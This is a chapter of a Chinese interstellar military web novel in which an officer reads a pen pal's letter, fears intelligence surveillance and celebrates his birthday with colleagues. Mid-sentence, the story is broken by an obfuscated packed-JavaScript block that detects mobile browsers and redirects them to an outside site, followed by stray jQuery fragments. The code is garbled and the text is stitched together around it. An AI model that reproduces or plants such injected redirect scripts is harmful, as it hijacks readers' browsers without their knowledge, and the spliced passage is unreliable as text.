独祁中 作品
22.人皮收集癖(六)
早上很早就走了不说,现在又是难得一见哭唧唧的模样,这是怎么了怎么了?
在秦远给都少将加戏加到厌倦的时候,都晏可算把舌头缩回去,看着秦远开始要大声胡扯,知道他是个什么人的都晏赶紧起身,飞扑到他身边去捂住他的嘴,“不是不是,我喝水烫到舌头了。”
说完后,都晏赶紧扯着秦远的衣襟,带他坐在沙发上,秦远一脸莫名其妙。
“怎么了你这是,水里不会下毒了吧?你很不正常啊。”秦远见面前被都晏推过来的水杯,害怕喝了像都晏一样神经质,默默离滚烫的水杯远点。
都晏揉揉眉心,不准备把蒋恒的事情说给他,两人在特拉克星球上学工作的五六年内,根本没过有几天安稳日子,要是再让秦远为自己担心,都晏于心不忍。
拍拍秦远的肩膀,都晏坐在沙发另一侧,他斟酌开口,“进入行政部后,必须要谨言慎行,我们不能有任何一点闪失。”
有异能的事情告诉蒋恒,都晏不后悔,毕竟尊酬不靠谱,自己不能不早点另找出路,和这种身居高位忘记自己来时路的上司,都晏的眉心紧蹙,没有一点要松懈的模样。
“我还不如来给你做秘书长,我们这个假放的,还没几天,又要跟着叶西上将去其他战区,真是命苦。”秦远头靠在真皮沙发上,要不是这里是办公室不给抽烟,不然几个烟圈应该也软趴趴地耷在他的脸上,不见一丝生机。
战争,还是战争,联邦总统远和元帅厅的人脑子里塞满了“称霸宇宙”几个大字,秦远在家里骂,在战场骂,但确实不敢在除了都晏以外第二个人面前说一句话。情报处又不是吃白饭的,他们要是存心找事,秦远早就被一枪炸出脑花了。
都晏不想再抱怨,徒增烦恼恶而已,他安慰秦远几句,“反正都是为联邦做事,你要是不想继续在战区了,我问问尊酬元帅,看看能不能把你调过来。”
“别别别。”
秦远一听又要麻烦别人,他不乐意了,一把扣住都晏作势就要打开光脑联系尊酬的手,怒道,“要是为了这事,你又要求爷爷告奶奶的,我就是一辈子待在战区,也好过让你去求人。”
战区的确是苦,把人当驴看,休假几乎不会超过五天,经历那种身心俱疲的战场,就是铁打的汉子也撑不下来啊,秦远还骂呢,多得是甘心为联邦奉献没太大怨气的人,比如都晏。
他是用联邦给的救济金读完大学的,真做好了一直待在联邦的打算,在秦远眼里,自己的晏哥完全是要为联邦卖命。
用秦远的话总结:“聪明十五年,糊涂一辈子。”
都晏心疼地看秦远似乎又黑一度的脸,还想说什么,有人敲门,秦远再怎么在都晏这四仰八叉地坐着,遇到外人,还是一个鲮鱼打挺,端端正正地坐在沙发上,都晏边往办公桌边走,边拔高声线道,“进。”
趁着自己坐在办公椅上的时间,再看秦远,已经乖宝宝似的端起水杯吹了吹,抿了几口,都晏因为颜培推门进来,面上不显,实则是十分关心地注意着秦远的一举一动,不管多少年,这个表面比自己还大三岁的人,还是像个孩子,都晏也乐意照顾他,两人无父无母的,不相互扶持怎么活得下去。
淅淅沥沥一上午的雨点,没有丝毫小下去的趋势,“吧嗒吧嗒”地砸响半开的玻璃窗,秦远难得休假没工作,配着敲击频率适合的雨点声,捧着本都晏随手塞在储物戒里的《米拉尔粒子论》看的他直皱眉。
一早上颜培拿着文件进出三四次,自家上司和秦远中校都是一人翻看文件,一人翻书,想想两人这几日内的同时升职,颜培真是羡慕极了。
他心知肚明,多得是受伤和退役的士兵,都晏选自己做秘书长,确实是因为自己的职位不算低也不高,关系也不错。一个萝卜一个坑,多少人眼红这种上司在外卖命,员工在家安稳待着的职位。要不是前面的几个条件,颜培知道这个职位绝对不会自己的,更何况都晏不选的话,多得是总统院的人想塞人进来。
都晏的年龄与升职速度可不是靠牛皮上去的,聪明的很,能安排自己人,凭什么被动地等着被安排。颜培一上午在文职的秘书办公室,没少听都晏在科尔维斯军校的勇猛事迹,能在短短一晚上这些秘书全到位,怎么可能都是考上来的,坏处是各位少爷小姐似乎都用下巴看人,好处是知道什么消息全是第一手的,真的很完美了。
各位将军的秘书长都有两位,一位文职,一位军人出身的,颜培是后者,前者总统院肯定在挑,但苦于没有适合的人。
超过上尉,少将是没资格选择的,上尉以上大校以下,只有元帅和中将上将有资格选择,他能做都晏的秘书长已经是非常幸运的,在其位谋其政,颜培心无杂念,一心只有自己手里的文件和面前的上司都少将。
一上午的工作紧急的事务全都处理完了,都晏这才拿出自己仔细保护好的信件,早就注意他动作的秦远低低喊了声他,计上心上,他捂住自己的结实的胸膛,都晏以为他要干嘛呢,就见他在沙发上晃了晃,
摇摇欲坠地扶额虚弱道,“啊,要看看信才能好,给我看信。”
这中气十足的声音,这要了命的动作,都晏嘴角狂颤,他将手放在自己袒露的喉结处,压了压,强忍想立马戳穿秦远的爆笑。
都晏对他像是逗小孩似的招手,要是手上有拨浪鼓,肯定和雨声融在一起,铛铛地响,秦远没想到真有这种好事,把书往腋下一夹住,大跨步向前,从桌角转到都晏身侧,都晏也顺着他意,信纸递交给他。
秦远拿到信纸反而有些不好意思,他“嘶”地一声,似乎发现自己做了个多么无礼的举动,这是人家的隐私,他不能看的,只是跟都晏开玩笑,简化点来说,就是希望工作中的都晏能抛给他几个生动的眼神,谁知道晏哥对他这么放心,竟然还真给看了。
拿到信纸的一瞬间,秦远立马无法思考了,都晏拍了下他的肘部,示意他看,见他小狗甩水一般地快速摇头,都晏被戳中笑点,他大笑地将信纸摊开,“刚好我也没看,一起看,这小姑娘就是上次给我送东西的好心人,真的特别好。”
能有多好?
秦远努努嘴,他就不信有人能超越自己在晏哥心里的地位,带着点好奇,他还真就看下去了。
“都晏:
你好,我是周觅。
收到你的来信我很高兴,我还以为你不会再给我寄信,你是军人,肯定很忙,我不想占用你生活中太多的时间。
关于你问我的问题,我问过不少长辈得知,茉莉街区如今的418街道是在米拉尔星球粒子爆发后重建,只有我们这些原始居民才耿耿于怀418街道,它早已经划给417街道,大多数人都说它是‘无名街道’。我寄信给你,就算写的是418街道,星际邮局也会寄走,确实是一个大乌龙。
还有人说地上城市不怎么具备邮寄功能,我的信件肯定是被人拿走重寄,我不太懂,或许是误会,总之,信件能安稳到你手上就可以,我干嘛要那么寻根究底。
我的地址已经换了,是因为我离开了地上城市,现在住在地下城,这里好玩的东西很多,好吃的也很多,没有地上城市随时紧张戒备的夜晚氛围,这里一天24小时,大家都有自己的一套作息。
这里的天空是模拟的,一直阴沉沉,我不是很喜欢地下城,很压抑,很匆忙,如果雨季来临,地下城会很湿热,很难受,我还是喜欢地上城市,就算地上城市危机四伏,我也还是希望有一天能带你看一看地上城市,我曾经生活的地方。
期待你的回信
周觅。”
读完信,都晏没顾忌秦远羡慕的眼神,将手里的信纸翻了个面,因为信纸被撕开,来信人的地址和姓名这才一览无余,至于收件人,没什么要遮遮掩掩的。
“米拉尔星球地下城西区101街梨花小区1幢4单元304,周觅。”秦远不自觉出声,他端详都晏不自觉染上一层红光的脸,狐疑这信件里是不是写了什么令人高兴的东西,不然都晏怎么能高兴成这样。
想到这,秦远抚摸着纸张的折痕,“这写的不是很正常?”
都晏嘴角的笑就没下来过,听秦远这么说,他这才回神,他承认且夸赞道,“是正常,我只是觉得她是个很不错的孩子,我没有想过会有这么一个未谋面的人,因为我阴差阳错的一封信,她邮寄过来一大包药品和食品,花了钱不说,有些药品在市场上面甚至不算好买,我想她应该有上军医专业的课程。”
“军医?”
秦远眼睛一亮,他靠在都晏的办公桌上坐下,似乎没想到还有意外之喜,他抱臂往都晏身边凑了凑,“晏哥,给我个准话,你这是想给她往科尔维斯军校的军医路子上引?”
“不是,这次联邦有任务,我还挺想去,顺便去见见她,我们的职业原因,最好不要家其他星球甚至除了联邦以外的人,毕竟情报处的人无孔不入,结果明元帅的意思是让蒋上将去,我觉得很可惜。”
都晏很喜欢和周觅通信的感觉,这个女孩年纪不大,处事成熟,未必不可以提前培养,联邦常年陷在战争中,各处都大量要人,深受联邦扶持的都晏,真心实意为联邦考虑。
秦远在他说到任务的时候,根本不用借着往下听,出单人任务增加功绩的速度快的很,冷哼一声,他费力地扯扯嘴角,“遇上他,根本没什么胜算,我不知道是从哪里传出来的风言风语,明元帅升上去后,他就会往上填补空缺。”
这话一出,都晏一边仔细叠好信纸收到自己的储物戒内去,一边竖起食指,放在殷红水润的唇上,一碰即离,唇色柔软的,都晏的眼神却凌厉地瞥向门口,这层楼内几乎没他可以完全相信的人。
“别乱说,不要提起这些,情报处如果在我的办公室安装录音设备,从我们嘴里吐出去的每一句话都会成为刺向我们的利箭。”都晏的眼神略过宽阔办公室内的遮挡物,注视颗粒大且迅速砸向窗户的雨点,从昨晚开始到现在一下都没停,他想,今天真不是个好日子,他的生日,四月十三。
都晏出生在一个连名字都没有的小行星,直到他屡次在联邦的星际广播上被报道,现在这个小行星的名字是A-0413,都晏怎么能不感激联邦,怎么能忘记他的家乡,黄沙满地的贫穷星球,可他的祖祖辈辈生活在上面,他的父母都在战争中去世,秦远也一样。
两人一开始关系并不好,秦远甚至还比他大三岁,怎么可能是心甘情愿叫哥,时至今日,身边一些熟人也还是不明白为什么秦远这种吊儿郎当,说不定脱了军装就是街边二流子的人能这么尊重信任都晏。
无非有义气,无非头脑聪明,无非一切都刚好让秦远想追随,都晏聪明又热血,大部分像他们这种孤儿出生的人,不会在联邦内混的很好。
要么是将自尊看的太重,要么就是毫无自尊,一点下限没有,但都晏不是这样的,看着他怎么做,就怎么做的秦远也不是这样的。都晏感激联邦,他深刻知道联邦要的是利益,不是一个人的感激,他的忠心耿耿,绝对不是盲目地,是建立在双方的信任基础上。
这次尊酬找到他,是总统院的意思,他晚上被带去那位老人的病床前,这位二十岁就建立起联邦,覆灭上千年特拉克帝国的人,在四十年后的今天,吃了多少药,渴望永生。但身体已经从内里,像洋葱一般般往内一层层剥去,只会发现,一层只会比一层坏的更严重,无药可医。
都晏忘记不了,小小的他,偶然一次的机会,看到这位总统的记录片,威风凛凛的男人在军舰巨高的门后戴着皮质手套,对着他俯瞰,称他为救世主的人民挥手的样子,他的嘴角始终带着一丝不屑,他应该没想到四十年后,六十岁的他躺在病床上,浑身散发着一股难闻的腐朽气息,
都晏记得,元帅厅的池塘处无人在意的一个小角落,有一段枯木就这么泡在水里,长满了腐烂的苔藓,这位从前所有人都敬佩又惧怕的总统,和大自然中一截枯木又有何区别。
行礼坐下后,尊酬传达老人的意思,“明危行似乎已经等不及了,如果他没等到五年后就对总统院的人下手,你和蒋恒负责杀了他,总统一定会保证你们的安全。”
里三层外三层站满举着黑漆漆粒子枪的警卫员,连自己都保护不了的老人,都晏不相信他这一番话,尊酬冷飕飕地语气与冷风无疑,不是要到夏天了吗?怎么还这么冷。
都晏在离开的时候,最后看了眼已经是夕阳布满远处的天色,和如今的总统院一样,注定是明危行的囊中之物。
曾经的英雄垂垂老矣,新的掌权人又太专断独行,一时间都晏只能向蒋恒求救,可蒋恒的意思...信件,都晏看了眼自己忘记在深色桌案上的信封,他的眼神暗下来了,问秦远,“如果一个人总是阻挠我和周觅通信,你觉得是为什么?”
“要么喜欢你,要么喜欢周觅呗,有啥想不清楚的。”作为情场老手的某秦姓中校,不明白有啥好思考的,他拿起信封袋子给自己扇风,雨下的一点用没有,闷得很呢。
都晏哑口无言,他张惶地碰碰唇,终究是没说,他没见过蒋恒与周觅待在一起的样子无法判断,人太复杂,不可能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507089|166206||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
只用喜不喜欢定义人之间的关系,不说为妙。
秦远更不会想太远,他看了眼光脑上的时间,还没到都晏下班时间,他坐回去看书之际,都晏抽出行政部统一的文件用纸,给周觅写回信。
这封信近期确实不会寄出去,情报处有权看行政部任何人的信件,他不想在情报处的监视下寄出这封信件,自然是等着下一次的战争指挥再落到他头上,在当地寄给周觅。
墙上的时钟指向中午十二点半,行政部下班时间到了,门才被推开,门口几几相伴的秘书与其他工作人员不断和走出办公室的都晏和秦远打招呼。
都晏的生日聚会没请太多人,相熟的几个朋友在一起吃个饭而已,老天还算给面子,淅淅沥沥一晚上加一早上的雨终于停了。蒋恒有车,刚好有事情在一楼处理,早几分钟去开车正好停在行政部楼下,有人降下副驾驶的车窗跟下台阶的几人打招呼。
“都少将,还没恭喜你升职,礼物在我储物戒里,我先拿着等会给你个惊喜。”冷允南那双好看的桃花眼对着都晏笑眯眯地眨了眨,他家世是这一车人除蒋恒最好的,父亲是外交部部长,母亲是联邦议会主席,就这家世还跟在蒋恒后面屁颠颠的喊哥,他来一次行政部,没事干闲出屁的那群人就要八卦一圈,蒋父蒋母究竟什么身份。
他们不敢问蒋恒,当然是烦秘书长莫璃。
莫璃一天能被问十几次,她说不知道,那群人哪里信,她大发雷霆让他们去蒋恒办公室问,闹得声音不小,这两人还真被请到蒋恒办公室喝茶去了,至于处理的结果,没人知道这两人下落,一时间猜测声下没下去不知道,总之绝对不会有一点风声透露到二十二层。
这些都是秦远说给都晏听,都晏知道这一车几个人是绝对回不到才上大学时候的纯真了,一时间笑容堆在脸上,和坐在主驾的蒋恒打个招呼后,才回冷允南道,“谢谢冷外交官了,你每次给我送的东西都不便宜,实在破费了。”
“我每次问你想要什么,你都不说,我只能送我觉得你需要的,快上车,饿死了都,我一上午被我妈骂得狗血淋头,我现在只想大吃一顿忘了算了。”冷允南招呼几人上车,这车能坐七个人,现在的车不需要后备箱,空间宽敞不说,外形也酷炫,想改装成什么样就什么样。
没人不喜欢车,只是油费太贵,颜培上车后找蒋恒问了两句,他没怎么见过蒋恒,当然和秦远总觉得蒋恒这人冰的吓人不同,就想跟行政部这位和掌权人没差的上将多说两句话。
“加满一次就要我一个星期工资,我还是别买了。”听到加一次油最低也要一千多,而且油价还每天变化,当然是往高了加,偶尔有几天往下降,也降不了多少,早就想买车,甚至都要选好了的颜培止不住地可惜。
蒋恒在车的屏幕上输入餐厅地址,立体的路况图出现在几人面前,右下角还有车辆的自动行驶,大多数人其实甚至从来没摸过方向盘,但自动行驶完全解放双手,让车自己开就好了,就是比较慢,容易交通堵塞。
听到是颜培在说话,蒋恒在后视镜内看他一眼,温和道,“你要是想开,我最近刚好不在特拉克,等会吃完饭你开走,我过几天回去找你拿。”
“不不不,这怎么好。”颜培发现自己说了句傻话,余光一瞟自家顶头上司都晏脸色如常,还好还好,他在心里大松一口气,正想怎么拒绝这莫名的好处,正好瞥见秦远皱眉,他抿抿唇,急的一身汗。
都晏赶在蒋恒转头之前,接过话头,他一拍颜培颤颤巍巍的肩膀,为自己的秘书长找补,“是我前几天让他陪我去看车,估计他就把这念头种在心里了,谢谢您的好意了,他虽然有行驶证但是也几年没开过车了,您还真敢让他开,估计要先给您一笔维修费,他才能心安。”
蒋恒正好往左打方向盘,他闻言嘴角微不可查地上扬一个像素点,冷允南跟周荨发消息呢,闻言好笑地转头道,“那怎么行,以后去其他地方的话,万一司机有事情,肯定都是秘书开车,颜秘书长你可不能不开车,刚好让你们蒋上将的车给你开开,你要害怕叫上都少将一起好了,他这么担心你,可小心点开车,别给人吓着了。秦中校估计是没机会坐你的车,明天叶西上将要带陆军第七小队去战区,秦中校你可算是第七小队的中心人物了,有一段时间要忙活了。”
这一番话说的,大家全都身心舒畅,外交官的社交水平,没人会不肯定,一时间车内气氛好的不得了。
吃完饭后,几人告别,颜培忽然叫住因为东西忘拿回餐厅的都晏,都晏拿着自己的外套走过去,问他,“怎么了?你.......”
这话没说完,已经鱼刺卡住喉咙一般叫人说不出一句话来,都晏盯着放在颜培手上的车钥匙,一时间喉结滚一下疼一下。
“我不想收的,但是......”
颜培欲哭无泪,他真的没想收,但冷外交官的嘴又不是摆设,东扯扯西扯扯,把这车差点说成就是为颜培量身打造的了。
另外的蒋恒官职横在颜培眼面前,更是不好惹的主,人家又没骂他没打他,也没奚落他一句,倒像上赶着对他好,颜培怎么能伸手打笑脸人。
“两个人肚子里能有什么好的,他冷允南嘴巴那么能说,你会意不过来就算了,蒋恒能屁股不挪一下的待在行政部第一把交椅上,他想干什么,你能不知道吗?小心明天都晏就被抓住小辫子,虽然我也不是什么前辈,但你也好歹学着点闭嘴,在上司面前嘴里那么多话,你......”
秦远真是要气疯了,有的上司就喜欢下属叽叽喳喳地热闹,有的上司就是要逮住下属话里的漏洞,教教下属怎么做人,只是秦远也不觉得一辆车有什么值得几人废嘴皮子说上半天的。
“行了,你们都别说了,多做事少说话,他...早就不是以前的蒋恒了。”都晏泄气地皮球一般,失望又觉得对蒋恒抱有期待的自己可笑。
他不想怪罪任何人,几人目前在蒋恒面前都是一群随意挪动的棋子,怎么能不服气,怎么有权利同他叫板呢。
都晏心知肚明这是蒋恒的施压,颜培只是受了他的牵连,回去的路上,安慰了颜培好一阵子,都晏不想因为自己搞得身边人风声鹤唳草木皆兵,太难看了。
那封信,周觅的信,都晏坐在办公桌后苦思冥想,雨又“哗哗”地打在茂盛的床边树叶上,他的心应该被雨声浸润湿了,不然怎么那么难受。
“不。”忽然抬眸,眸中向外,向雨中射出一道利光,几乎要冲碎雨幕的迹象。
他这一生失去的东西太多了,不能再失去一个通信的朋友。
不能失去周觅。